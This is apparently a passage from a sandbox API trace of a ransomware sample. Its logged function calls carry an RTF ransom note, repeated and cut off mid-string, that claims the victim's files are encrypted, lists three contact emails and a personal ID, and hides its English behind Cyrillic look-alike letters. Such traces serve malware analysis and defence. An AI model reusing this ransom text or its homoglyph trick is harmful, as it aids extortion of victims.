s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 